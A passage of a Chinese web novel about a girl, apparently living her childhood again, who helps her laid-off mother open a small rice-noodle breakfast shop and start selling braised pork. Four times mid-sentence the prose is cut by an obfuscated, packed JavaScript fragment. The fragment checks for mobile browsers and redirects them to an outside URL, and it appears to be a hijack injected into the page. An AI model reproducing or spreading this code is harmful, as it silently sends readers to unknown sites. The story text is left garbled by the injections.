“周大嫂,我以后每天都光顾你,便宜点吧?” “已经给你算便宜了的!”周大嫂把割剩下的瘦肉摆正,“姜师傅,你也知道的,夏天出栏的猪少,这价格就下不来……” 姜华英从兜里掏出六张一元的钱,递到周大嫂眼前,笑着说:“那等到了冬天,出栏的猪多了,你可要给我再算少点啊!” 周大嫂找了姜华英几张毛票,只是热情地招呼她道:“姜师傅,多来啊!” 姜华英拎着满手的菜回到家,林乐晓正趴在大卧室的床上看小说。 听到开门的声音,林乐晓转了转有些僵硬的脖子,又翻过身平躺了半刻,才从床上爬了起来,跟着姜华英走到厨房。 “妈妈,你怎么买了这么多菜啊?” 姜华英把菜放在洗手池旁边铺了瓷砖的台子上,再从台子下的架子上翻出一小袋绿豆。她边把绿豆倒进搪瓷钵里,边问道:“你又趴床上看书呢?” 林乐晓不好意思地笑了笑,说道:“我的房间太热了嘛……” “等中午你爸下班了,我叫他把你的写字台搬到我们卧室里吧!”姜华英把筒子骨和扇骨放进才买的汤桶里清洗,指挥干站在旁边的林乐晓在放菜的架子上找几块姜。 “妈妈,不用了吧?”林乐晓把姜递给姜华英,说道,“过段时间就不热了。” “那你暑假作业也趴在床上写?”姜华英冲掉生姜上的泥巴,又用刀背把它们拍烂,丢进汤桶里,说道,“过来帮我抬一下桶。” 两个人合力把汤桶抬到灶上,姜华英拿火钎把灶盖挑开,接着用力捅开封着灶口的煤,等火苗窜上来了,又铲了一铲子碎煤倒进去。 林乐晓坐在小餐桌旁,看姜华英加完煤,才回答刚才的问题道:“我可以在这里写作业啊,暑假作业又没有多少的!” 上一次搬完写字台,姜华英借口桌子搬来搬去太麻烦,让林乐晓一直住在了大卧室,直到她上高中住校以后,两口子才搬回去。 刚刚一听到姜华英的提议,林乐晓第一反应就是拒绝。她的妈妈勤劳又节俭,多数工资都花在了她的身上。两口子下岗后挣钱的机会不多,一直到快五十岁,才攒够钱,在这个小城的边缘买了一套两室的电梯房。 现在她来了,不管是庄生梦蝴蝶还是蝴蝶梦庄生,既然知道了一些未来的事情,林乐晓觉得自己应该能让姜华英把小店开下去。客厅隔出来的房间又黑又闷,她们就别争着去住啦,还是好好挣钱早点买个新房子吧! “你这孩子……”姜华英摇摇头,把豆芽抖进洗菜盆里,说道,“妈妈对你好,你还不领情!” “知道啦,妈妈对我非常好!”林乐晓指着豆芽,试图转移话题,“但是买这么多豆芽干嘛呢?” “买来熬汤啊!”姜华英翻着菜盆里的豆芽,掐掉过长的豆芽根,然后拧开水龙头,开始轻柔地搓洗起来,“我们小店子,要是像厂食堂那样只用骨头来熬汤,就更赚不到什么钱了!豆芽汤也很鲜,豆芽还便宜,我就想着放进骨头汤里试试,味道好的话,一天的成本能省好几块钱呢!” “那绿豆也是泡来发豆芽的嘛?” “绿豆还那么贵,拿来发豆芽多浪费!是泡来煮绿豆水的。哦,我还没跟你说呢!你爸爸的师父和师兄弟说好这几天晚上来帮我们砌炉子、刷墙壁,我熬点绿豆汤给他们喝。” 姜华英倒掉菜盆里的水,把豆芽倒进簸箕里沥水,又从菜篮子里拿出一个芥菜疙瘩切起来。 “妈妈,中午吃榨菜肉丝吗?今天的生活也开得太好了!又喝骨头汤又吃肉!”林乐晓明知故问地说道。姜华英怕亏本,才开始开早餐店的时候,每天只炒榨菜肉末一个臊子。后来挣到点钱了,臊子变成了两个,林乐晓终于可以换着吃了! “是准备放在店里卖的臊子!”姜华英被女儿的碎碎念弄得有些耳朵疼,说道,“你要没事干,要不去卧室看书,要不帮忙撇一下骨头汤的血沫?” 林乐晓从碗柜里拿出碗和汤勺,走到灶边,揭开汤桶的盖子,被翻滚的骨头汤扑了一脸的热气。她边舀着血沫,边继续跟老妈斗嘴:“天这么热,吃碗汤粉,得流多少汗啊?妈妈,我觉得夏天就该卖拌粉!” 切完芥菜疙瘩,姜华英开始剁肉末。她把菜板剁得震天响,假装没听到林乐晓的话。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544617|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 剁好肉末,姜华英坐到小餐桌旁休息,开始咂摸女儿的提议。 “妈妈,撇好了,要加个灶圈吗?” “嗯,加一点点煤,再把二道圈加上,”姜华英随口回答了林乐晓,有些踟蹰地问道,“晓晓,你刚才说的拌粉,是怎么个卖法啊?” “哼,”林乐晓把碗放进水池里,才坐到餐桌旁,回答道,“就是在烫好的粉里只放臊子和佐料,不舀汤啊……” “好好说话!”姜华英拍了拍女儿的胳膊,又迟疑地问道,“有那么热吗?大家在食堂里都是吃的汤粉,也没有谁提意见说太热了吃不下……” “早餐时间那么早,哪里会热?但是妈妈,我们只卖早餐就能挣到钱吗?” 姜华英摇了摇头。今天试菜,她只买了一半的原材料,就花了六块多,要卖十来碗粉才能回本,这还不算租房租桌子买餐具买调料等等的钱。姜华英心里对开店的期待,是起码和工资持平的利润,那一天最少要卖出四十碗的二两米粉才行。虽然她一直埋怨林勤不看好早餐店,但其实她心里也在打鼓:亏钱的可能性不大,但挣到钱的概率也小! “如果卖拌粉,可以省点熬的汤头?那价钱要比汤粉便宜才行!”姜华英自言自语地计划道,“那就二两拌粉卖六毛钱?” “妈妈,拌粉也不能省骨头汤!”林乐晓不赞同姜华英的想法,帮着出主意道,“一碗拌粉送一碗骨头汤,价钱就和汤粉一样!除了榨菜肉末,还可以炒个西红柿青椒肉末的臊子,又清爽又好吃,再给挑一筷子豆芽进去!哦,要是卖卤肉拌粉就最好了,浇一勺子卤肉汁上去,肯定非常好吃!” 姜华英好笑地看着林乐晓,说道:“想吃卤肉了?周天要请你爸爸的师父和师兄弟吃粉,我卤一块肉,也给你做一碗这个卤肉粉。” 中午林勤下班回到家,看见小餐桌上摆着好几碗面,有的舀了汤,有的没舀。 “店还没开业,先在家里摆上摊了啊!” 林乐晓推着爸爸去洗手,跟他解释道:“我和妈妈定早餐店的菜品呢!你快点洗完手来尝尝,看我出的主意好不好!” “我们晓晓这么厉害啊!都能帮你妈妈定菜单了!” 林勤洗完手来到餐桌旁,端起了一碗拌面,边搅和边说道:“这个好!今天太热了,我走路回来出了一身汗……”话还没说完,他就看见林乐晓冲姜华英直乐,“怎么了?” “这个拌面,就是我想出来的!” 林勤挑起一大筷子面塞进嘴里,含糊不清地回答女儿:“晓晓这个主意真是不错!” 林乐晓吃了一筷子拌面,向姜华英竖起了大拇指:“是妈妈调的味道好!” 姜华英捧着一碗骨头汤喝,看着林勤吃完了一碗拌面,端起汤面的碗开始喝汤,说道:“拌粉也会给一碗汤。” “真好啊!”林勤放下汤面,问道,“那碗还够吗?” 5. 小店开业 有了马大山和师兄弟们的帮忙,周五晚上就完成了早餐店的翻新。 林乐晓舒了一口气:好歹空了一天可以打开小店的门来透透气。她伸手拉了拉姜华英的衣服,推荐自己来帮忙看着开门透气的店:“妈妈,店里的窗户太少了,才刷的墙味道很大哦!明天你们上街买碗前顺路来把店门打开,我守着就行!” 林勤使劲吸了吸鼻子,疑惑地说道:“真的有味道啊?刚才师娘一进来也说味道大,我怎么没闻到?” 马大山喝了一大口甜丝丝的绿豆汤,瞪了他徒弟一眼,说道:“你小子,还质疑起你师娘来了?你一直呆在店里刷墙,闻不出来很正常!我吃完饭才来的那会也闻着有味,这会儿就闻不出来了。” “晓晓说得对,得把门敞开吹一天,把味道散散!这可是早餐店的门面,马虎不得!”张桂花把手里的碗放在桌子上,说道,“你们要是不放心,明天我来陪着晓晓,你们放心上街,把碗买齐,把菜买够!” 姜华英捏了捏女儿挂在自己衣角上的小手,跟张桂花说道:“那我也不和师娘客气了!”她又转向站在马大山周围的师兄弟们,感谢道,“这两天有大家帮忙,我才抽得出空去订蔬菜订米粉。我和林勤找人看了万年历,打算在周天早上九点开业,大家都来啊,带着嫂子和弟妹和侄女侄子们!我们还摆不起桌,就请大家吃碗米粉,大家别嫌我们小气……” 师兄弟们纷纷摇头,七嘴八舌地说道:“我们也没帮到什么忙,自己来就算了,再带家里人来……” 马大山被徒弟们吵得头疼,求助地看了张桂花一眼。 “华英和小勤诚心邀请,你们就带着家人来!”张桂花接到自家老头子的眼神,叹了口气,提高声音说道,“开业嘛,就是要热热闹闹的!你们三个加上老头子,才能坐满一张桌子,这捧场也不太像样子……这样吧,你们明天去买两挂鞭炮,算我们四家的贺礼,好好搞一个开业仪式!” 周天的天气不错。清晨六点多,天边的白云已经被还没跃出地平面的太阳染成了粉紫色,启明星挂在这些朝霞之上闪闪发亮。 姜华英轻轻地关上大门,领着林勤往纺织厂家属区门口走。 “林勤,你还记得昨天晚上答应了我什么事吧?明天开始你自己来拿骨头,回家后把骨头炖上,我可以多睡几十分钟……” “记得记得!华英,你别再问了!我耳朵都要起茧了!” 姜华英瞪了林勤一眼,又有些气弱地问道:“真的不耽误你上班吗?你要是在维修的时候打瞌睡,万一受伤了……” “嗨,现在厂里才开了几条生产线啊……”林勤在路边的花坛里扯了一朵喇叭花,递给姜华英,说道,“就算全部都出了问题,也用不了几个维修部的人……我找着空,就去师父的办公室躺上一两个钟头,没事的啊!” “还好你们维修部除了工人的工资,没有其他的花销,被撤的可能要小得多……” “线上工人有一多半都只上半天班了,我们更是悬着呢!”林勤吐出一口气,说道,“今天是咱们开张的好日子,不说这些没劲的……那个人是周大嫂吗?” “是她!”姜华英扔掉手里已经被她捏出汁水的喇叭花,快走了几步,来到周大嫂面前,指着林勤说道:“周大嫂,麻烦你了!这是我家那口子,以后他来帮我拿肉!” 周大嫂点点头,把手里的两捆骨头递给姜华英,提起勾着瘦肉的秤凑到姜华英眼前,说道:“一斤半哈!” 这样称了三回,周大嫂报出肉钱,又问道:“明天要多少瘦肉?” 姜华英把钱递给周大嫂,想了想说道:“要一斤吧,我先卖卖看……” “好嘞!祝姜师傅生意兴隆!” 两人提着肉回到家,姜华英盯着林勤把骨头洗好炖上,才打了个呵欠,说道:“我再眯四十分钟,你帮我定个闹钟!一会儿你把血沫撇了,给汤桶加满水,就睡会儿,我起来卤好肉了叫你。” 半睡半醒之间,林乐晓闻到了一股熟悉的香味。她砸吧了一下嘴,就着姜华英的手,咬了一口软糯的猪蹄,含混不清地说道:“妈妈,卤猪蹄好吃!火候刚刚好!” “妈妈卤的肉好吃吧?”姜华英好笑地拍了拍闭着眼睛嚼空气的女儿,说道,“小馋猫赶紧起来洗漱!咱们去店里吃卤肉粉啦!” 林乐晓迷迷瞪瞪地睁开眼,又被大卧室里明亮的阳光刺得闭上了眼睛。她翻过身平躺在大床上,突然使劲地抽了抽鼻子,说道:“妈妈,你真的卤肉了啊?我还以为是在做梦呢!” “是卤了!你赶紧起来帮忙看着点小锑锅里卤的肉,我和你爸爸得去店面了!还有好多事情没做呢!要把煤炉子生起来,还要炒两个臊子,”姜华英拉开林乐晓身上的毛巾被,说道,“肉还得再卤半个小时,一会到时间了,你先把锅端到餐桌上晾着,过半个小时再端到门面来,别热着的时候端,知道了吗?” 林乐晓从床上坐起来,看了看三角柜上的闹钟,问道:“才七点半啊?妈妈,你肉都要卤好了?” “都七点半了!林勤,快点走了,送菜的孔大嫂肯定已经在店门口等着我们了!” “哎,来了!我昨天说啥来着?应该提个煤炉子回来吧?灶上炖骨头汤,煤炉子上卤肉!” “你会炒糖色调卤汁吗?还一边炖汤一边卤肉!这会儿觉着我不该多睡那几十分钟了是吧!” 两口子吵吵闹闹地端着汤桶、提着半斤肉末走了,林乐晓还感觉脑子里嗡嗡地,都是她爸妈的说话声音。 她使劲地摇了摇头,赶走了耳朵里残留的声响幻觉,才走到灶旁,揭开小锅的盖子,看了看正在锅里咕嘟着的两块肉,满足地咽下了嘴里的口水。 “真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544618|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没想到,我这么大的人了,还会被卤肉馋得流口水……”林乐晓一边洗漱,一边在心里鄙视自己,“前天都吃过一回了,还是这么馋……” 洗完脸,林乐晓就着卤肉的味道,吃了一个白煮蛋,还是觉得自己饿得不行。 她把闹钟放在小餐桌上,掐着点把锑锅端到桌上晾着,又在诱人的香味里忍耐地混了二十分钟,实在是看不进手里的小说,干脆端起锅下了楼。 “晓晓,一大早的,你妈妈在家煮什么呢?香得嘞!”站在二楼阳台上拣小菜的吕青芸看到林乐晓端着锅,凑到她身边,伸出手就想揭开锅盖。 林乐晓侧过身体,躲过了吕青芸的手,快步走下楼梯,直到出了单元楼,才站在楼下回答她道:“吕阿姨,我们家的早餐店今天开张,我妈妈卤了肉,要在店里卖卤肉粉,可好吃啦!您要是有空,来关照一下我们哦!” “哎哟,你们家店子开业,也不说请我们这些邻居去坐席,还想赚我们的钞票啊?阿姨都快下岗了,哪里有闲钱去吃饭馆啦!” “阿姨,我妈妈已经下岗了,更加没有钱请您吃席吧?”林乐晓不想和她废话,边回嘴边端着锅走远了。这个吕青芸阿姨,爱占便宜不说,还有点红眼病!上辈子姜华英开早餐店,还没赚到钱呢,她仗着是邻居,隔三岔五地来打听小店的利润,没等打听明白,就在厂里乱说一通。姜华英被纺织厂收回门面,绝对有吕青芸阿姨的一份功劳! 林乐晓端着锅走到早餐店,马大山正领着林勤摆放鞭炮呢,师兄弟们带着家小,和不少凑热闹的纺织厂职工围在旁边看热闹。看到女儿,林勤赶紧收起手里的打火机,站起来接过林乐晓手里的锅,边走进店里边说道:“华英,晓晓把卤肉端来了!这肉还有点烫呢!要不我们先放鞭炮吧?” 姜华英指挥林勤把锑锅放在调料桌上,她自己揭开锅盖,用筷子把卤肉捞到菜板上,拿起菜刀切了几片卤肉下来,才回答道:“急什么?还有十几分钟呢!我切这两块肉,用不了五分钟!” 姜华英把切好的卤肉码在大碗里,把碗放到另外两个臊子碗的旁边,又用一块白纱布盖住了这三个臊子碗和其他的调料,还走到水池旁洗了洗手上的油,才不慌不忙地走到门边站住。 林勤看了看手表,八点五十八分。他对着姜华英拱了拱手,从裤兜里掏出打火机,蹲到了鞭炮边上。 马大山抬着手,一动不动地看着手表,开始倒计时:“十、九、八……二、一!点炮!” 鞭炮噼里啪啦地响起来。阿姨们纷纷抬起手,想捂住自家小孩的耳朵,小孩子们却高兴地拍着手,喊道:“开业了开业了!” 姜华英轻轻地捂住林乐晓的耳朵,等鞭炮声停了,她笑着招呼大家到店里坐:“今天我们早餐店开张,只要吃粉,都送一小份卤肉!送完为止!欢迎各位同事各位朋友进店品尝!” 6. 卖卤肉吗 热闹看完,大人们拉着小孩子回家,只有马大山一行人挤挤挨挨地往店里走。 姜华英在心底叹了一口气,打叠起精神,笑着问马大山和张桂花吃汤粉还是拌粉。 “我看啊,都吃拌粉算了,一大早的就这么热!”马大山接过张桂花手里的帕子,擦了擦头上的汗,说道,“先别盛汤,等吃完粉,直接添到空碗里……你们觉得呢?” 看师兄弟几个都点了头,姜华英叫林勤把煤炉子上的汤锅端下来,往炉子上放了一个小锑锅。 煤炉子的火烧得很旺,小锑锅里的汤很快就沸腾起来。姜华英揭开锑锅的盖子,带着点甘甜的卤肉香味立刻从店门口向着小店和街道弥漫开来。 “唔,好香啊……” 马大山和徒弟们咽下嘴里的口水,伸长了脖子看向煤炉子和上面的锑锅;张桂花忙着帮徒弟媳妇们安抚不停喊饿的孩子们;拉着孩子还没走远的大人和刚刚路过的行人也不由得放慢了脚步,视线跟随着香味,投向了店门口的小锅。 姜华英指挥林勤把小锑锅放到调料桌上,自己则快速地烫了几碗米粉。她把装满米粉的碗排成一行,依次向碗里放入盐、味精、葱花和豆芽,再码了一筷子卤肉,最后浇上一勺锑锅里的酱汁。 林乐晓和林勤等在调料桌旁,姜华英备餐,他俩负责端碗。 林勤端起两碗米粉走到马大山旁边,说道:“师父,麻烦您先试试味,这是华英新熬的料汁……” 马大山接过碗,端着闻了闻,才放到桌子上,边拌边说道:“比赶场时菜场卖的卤肉更甜一点,和以前在食堂吃过的卤肉味道也不一样……华英又改良卤肉方子了吧?” “师公,我妈妈的卤肉方子是很好,”林乐晓端着一碗米粉往小孩桌走,还不忘跟马大山卖瓜道,“但是直接用卤汁不够清爽,这么热的天,一碗下肚腻得慌……这个酱汁就不一样了,管保您吃完第一碗就想第二碗!” 姜华英忙着煮米粉,冷不丁地听见女儿的夸奖,一边骄傲一边叹气:为了这个酱汁,她可被林乐晓折腾惨了!女儿不知道在哪本书里看到了卤肉拌粉,非得让她卖这个。前天下午她卤了一小块肉,试着用卤肉汁拌了一碗米粉,好吃是好吃,但是和店里另外两种臊子不太搭,配上卤肉片就更加油腻。 林乐晓试吃完,皱着眉头坐在小餐桌旁,思考自己作为一个三十来岁的社畜,怎么还会小看一家开了十几年的餐馆的秘方。姜华英却以为女儿在为没吃上书里的美味而闷闷不乐。她拍拍女儿的肩膀,问道:“书里有说具体的味道吗?” “拌粉的酱汁好像是和卤肉的味道不太一样……”林乐晓抿着嘴唇,试图还原吃了好几百次的拌粉味道,“米粉吃起来有一点点甜,卤肉却是不太甜的……” “那就是用卤汁另外熬的酱!”姜华英一锤定音地说道。她把卤汁分成了几分,根据女儿的描述,一点点地加减调料,花了一下午,才琢磨出这锅酱汁的配方。 “怕小朋友们不吃辣,我都没有放辣椒油,要吃的说一声,我给你们舀!”姜华英把最后一碗米粉递给林勤,端起调料桌上的辣油罐子转过身,却看见大家都在埋头吃粉,连小孩子们也不例外。 “真这么好吃?别不是装的吧?”被香味吸引而驻足的人们低声交谈,“姜师傅的手艺是不错,但咱们也不是没吃过……平时在食堂,也没见他们师徒吃得这么起劲呐!” “马师傅,你吃得这么快,是因为不好吃所以赶快刨完了事吗?”有几个好事的人仗着看热闹的人多,起哄地问道。 听到这句话,人群安静了一刻,又嗡地笑了开来。 马大山咽下嘴里的米粉,示意林勤往自己的空碗里舀一勺汤,才开口回答道:“华英在纺织厂食堂做了好十年的大锅饭,你们什么时候吃到过难吃的菜?想知道好不好吃,可以来买一碗尝尝,一两榨菜肉末粉五毛钱,今天也送两片卤肉!” “姜师傅,给我们煮两碗卤肉粉吧!”马大山的话音刚落,就有人走进早餐店。 “好嘞!”姜华英往大漏勺里拨了半勺米粉,问道,“吃辣吧?” 先进店的南盛还没回答姜华英,就听跟在他身后的王蔷轻声吐槽道:“姜师傅煮的米粉,你还没吃腻呢?” 南盛回过头,悄悄地拉了拉王蔷的衣角,对着姜华英笑道:“吃的吃的,两碗都多加点辣。” 姜华英给两碗米粉都多加了一筷子卤肉,躲过林勤伸过来端粉的手,自己送到了客人的桌上,低声问南盛道:“怎么,吵架了啊?” 南盛从筷筒里拿出两双筷子,偷偷地看了王蔷一眼,说道:“本来说好今天早上要上街去吃那家牛肉粉,我昨晚看小说没注意时间,早上没起得来……” “哼,谁知道是真的在看书,还是又去打牌了!”王蔷抢过南盛手里的筷子,边使劲地拌着碗里的米粉,边生气地说道,“就算是看书,也不是什么正经书籍!” “小说怎么就不是正经书了?高中的时候,我们语文老师还经常借名著给我们看呢!”南盛小声地吐槽完女朋友,也把米粉拌开,问姜华英道:“姜师傅,怎么这么多肉啊?……唔,好吃!” “今天开业,吃米粉送卤肉!”林勤在他俩这桌上放下两碗汤,“这是拌粉配的汤,慢慢吃啊。” “谢谢勤哥!”南盛吞下嘴里的米粉,端起汤碗喝了一口,说道,“没想到这种甜甜的酱汁,搭着辣椒油也这么好吃!” “好吃就行!”姜华英推着林勤往调料桌走,听到夸奖回过头说道,“今天先给你姜师傅撑撑场面,下周再去吃牛肉粉,好吗?” 王蔷抬起头,笑着对姜华英点点头,又用胳膊碰碰南盛,说道:“咱一会也别去逛街了,你把你那小说拿给我看看呗!” “好啊!我给你说,那小说可精彩了……” 看到姜华英真的给客人送了卤肉,被酱汁香味勾出了馋虫的人们再也忍耐不住,接二连三地走进早餐店。 “我也要一碗二两的卤肉粉!” “要一碗一两的榨菜肉丝拌粉,也送卤肉的吧?” “都送的,”姜华英 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544619|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边烫粉,一边回答客人们的问题,“都送的,不过一两的粉送的要少点……” 马大山喝完汤,带着徒弟们把空碗放到后面的水池,还想着挤到调料桌旁帮忙端粉。 张桂花一把拉住他,说道:“吃完就走吧,别给华英他们添乱了!” “送这么多卤肉,”马大山被拉着走到店门口,望着正在夹肉的姜华英说道,“也不知道能不能赚回来……” “华英当了这么多年的厨师,自己有分寸!”张桂花踢了马大山一脚,说道,“你让开点,挡着别人了!” “没事没事……”陶芪对着张桂花摇摇头,接着走到店头,把自己手里的小锅小碗递给林乐晓,有点不好意思地说道,“我要二两西红柿青椒肉末拌粉,卤汁和送的卤肉都另外装在碗里,可以吗?” “当然可以,”姜华英抬了抬胳膊,让林乐晓把小锅和碗都放到调料桌上,说道,“大娘,拌粉还送一碗汤,您……” “那我一会儿再来端!”没等姜华英说完,陶芪就接过话头说道,“我家姑娘害喜,还嫌我做的饭不好吃,厂里撤了食堂,她这几天都没吃啥东西,我得先给她送回去……唉,她只认姜师傅的手艺……” 开业第一天,姜华英害怕生意不好,准备的米粉不算多,没到中午就卖完了。 一家三口收拾完店里的残局,迫不及待地回到家盘点收入。 姜华英坐在客厅的地铺上,捏着一把毛票,不甘心地说道:“忙活一上午,挣了两块钱!” “也可以了,送了那么多卤肉呢!”林勤把手里的水杯递给姜华英,说道,“等明天不送卤肉了,成本就没这么高了!” “不送卤肉了,还会有那么多人来吃粉?”姜华英接过林勤手里的搪瓷杯子,白了他一眼,说道,“明天能不能挣到两块钱都不一定呢!” “妈妈,明天还卤肉吗?”林乐晓听到只赚了两块钱,感觉天都要塌了,她还以为能靠卤肉粉“大杀”纺织厂呢!这下可好,她妈妈可能都要放弃成本高的卤肉了! “得卤啊,还欠着几个人的卤肉呢……” 没有了“开业送卤肉”活动的加持,周一早上来吃米粉的人果然少了很多。 姜华英心里庆幸,还好她没有为了卤肉,在凌晨四点起床。为了保证两口子的睡眠,她决定以后如果还卖卤肉粉,也只在中午卖。 “要是有台冰箱就好了!”姜华英一边盯着煤炉子上的卤肉锅,一边在心里感慨道,“今年要是能挣到一台半的冰箱钱,我就去把冰箱买了!” 中午纺织厂职工下班,吃粉的人多了起来,姜华英却没把卤肉切完。她想着要是卖不完,晚上把卤肉撕成条,煸成干肉丝给林乐晓当零食。 姜华英站在店头烫粉,看到陶芪和她姑娘走到门口,期期艾艾地张开嘴又闭上。 “大娘,吃粉吗?西红柿青椒肉末还有的!” “不……不吃粉,”陶芪看了看她姑娘,又看了看姜华英,终于开口问道,“姜师傅,你那卤肉,不吃粉,能买吗?” 7. 兼卖熟食 姜华英愣了一下,晃了晃手里的漏勺,说道:“大娘,您先进店坐会儿,等我先煮完……” “哎!不急这一会儿,你先忙着……”陶芪拉着姑娘走到门边的桌子旁,她扶着大肚子的姑娘坐下,自己则站在一边,用手轻轻地扇着风。 姜华英把米粉端给客人,转身往门口走的时候,被坐在旁边桌子吃米粉的女儿拉住了。 “妈妈,卖卤肉吧!”林乐晓拿着筷子站了起来,踮着脚贴在姜华英耳边说道,“别卖得太便宜啊!” “知道了!”姜华英点点头,又有些好笑地把女儿往条凳上摁,说道,“快吃吧,这么喜欢看热闹!我看你就是想早点来店里玩,才忘记蒸饭的吧?” “我吃粉也可以的!”林勤刚走到店门口,就听见说女儿今天没蒸米饭,他赶紧走进店里,说道,“多给我煮点就行!” “你现在来当好人了?昨晚是谁说吃不饱的?”姜华英指了指水池,说道,“你洗完手自己煮吧,我这还有客人呢!” 瞧着父母拌起嘴来,林乐晓讪讪地低头吃粉。她一边支着耳朵听妈妈说话,一边想她可不是喜欢看热闹,她只是想来看看店里生意好不好…… 姜华英从调料桌上端起装卤肉的碗,转身递到陶芪母女面前,说道:“大娘,卤肉就剩这点了,大概只有三两左右。菜场卤肉摊的卤五花肉卖五块一斤,我这是纯瘦肉,便宜点,四块五一斤,您看怎么样?” “三两就三两吧,”陶芪从兜里掏出两张一元的纸币,说道,“姜师傅,能不能麻烦你帮忙切一下?” “行!我给您切得薄一点,吃着不塞牙!”姜华英没接陶芪手里的钱,叫林勤从调料桌的抽屉里拿出一杆小秤,说道,“还是先称一下……三两多一点,收您一块四毛。” 姜华英两三下把卤肉切成了一堆薄肉片,又拿了两个碗,一个碗里装卤肉片,一个碗里装了小半碗卤汁。 “大娘,您要吃的时候,先把卤汁浇在肉片上,再蒸热就行!”她把装了肉片的碗递给陶芪,接着拿过对方手里的钱,再把装卤汁的碗递过去,说道,“这六毛钱算碗的押金,一会儿您把碗还给我了,我再找给您,行吗?” “行!我还要去买菜,一会儿就把碗带过来。” 陶芪端着两个碗,领着她姑娘往家走,边走边埋怨地说道:“你那个婆婆妈,要来也不提前几天说,老是这样……” “妈!她也是听说我害喜,才大老远地背着酸豆角来看看……还有那么多鸡蛋呢……” “要不然我能来买卤肉招待她?大包小包的,也不知道她怎么背得动……” 姜华英把钱塞进围腰上的口袋,走到水池边洗手,听见坐在林乐晓旁边的小伙子问她道:“姜师傅,你这卤肉还能单卖呢?” “这不是凑巧了……” “卖的呀!” 姜华英被林乐晓截了话头,有些无语地看着女儿信誓旦旦地跟小伙子说道:“不过我们是米粉店,卤肉只是个搭头,你要单买的话得预订!” 小伙子看林乐晓一个小学生,煞有介事地说着做买卖的事情,觉得很有意思,逗她道:“那要怎么预订呢?” “嗯……比如说你明天想买,你一会就跟我妈妈说,我妈妈收了钱,给你一张收据,你明天就凭收据来拿卤肉。” “可以啊!”旁边桌子的几个人听了林乐晓的话,不禁感慨道:“厂里撤了食堂,我都啃了一周干馒头了!早上在路上啃个光馒头,中午吃馒头夹咸菜,晚上是煤炉子烤馒头片……” “那是你哈!我只有早餐吃馒头,中午晚上都是吃的阳春面……” “姜师傅,您不知道,我们单身楼的人过得有多惨!” “你们订吗?我想订个二两,然后拌个拍黄瓜,再配上热乎乎的大馒头!” “你还没吃够馒头啊?” “那你能蒸好米饭吗?冯大娘卖的馒头总比夹生饭好吃吧?” “还可以吃面条!” 几个人嘻嘻哈哈地调侃完同伴,异口同声地向姜华英说道:“姜师傅,我们要订卤肉!” “什么卤肉?”一个端着满满一钵馒头的青年走进店,朝着还站在水池边上的姜华英说道,“姜师傅,我要二两榨菜肉末拌粉。” “你怎么才来啊?我们粉都吃完了!” “买馒头的人有点多,”青年等姜华英走到调料桌旁,才往店里走,他把手里的馒头放在桌上,说道,“我还以为你们会等着我呢!” “米粉太香了,没忍住!”总吃阳春面的女生端着碗站起来,边朝调料桌走边回答道,“还好我刚才没要汤……姜师傅,给我舀碗汤吧!” “好嘞!”姜华英把装着米粉的漏勺放在碗里,拿起汤勺给女生添了一大勺汤,说道,“冯大娘的生意这么好啊!” “是啊,我都没买到!”一个有点发福的男人在靠近门口的桌边坐下来,说道,“华英啊,有面条吧?给我煮一碗吧!” “好的!齐哥,你吃什么臊子?” “卤肉拌面吧。” “齐大哥,嫂子不在家啊?”刚才逗林乐晓的小伙子把钱放在调料桌上,说道,“姜师傅,钱我放在这了!” “哎,她不是下岗了嘛!在家待着没啥事,趁小孩放暑假, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17544620|204078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着回娘家去了,”齐大哥望着隔壁桌上的馒头说道,“我本来想买两个馒头凑合一下……” “啊,对了!卤肉!”舀汤的女生端着碗,小心翼翼地往回走,还不忘问才来的同伴道,“姜师傅的卤肉能单卖!我们都想买,你也买点吧?” 齐大哥坐着等面条煮熟,听到小年轻们的话,问姜华英道:“你这卤肉也单卖?每天都卖吗?” “嗨,搭着卖卖看呗!”姜华英用筷子搅了搅漏勺里的面条,说道,“也不知道能不能卖出去呢。” 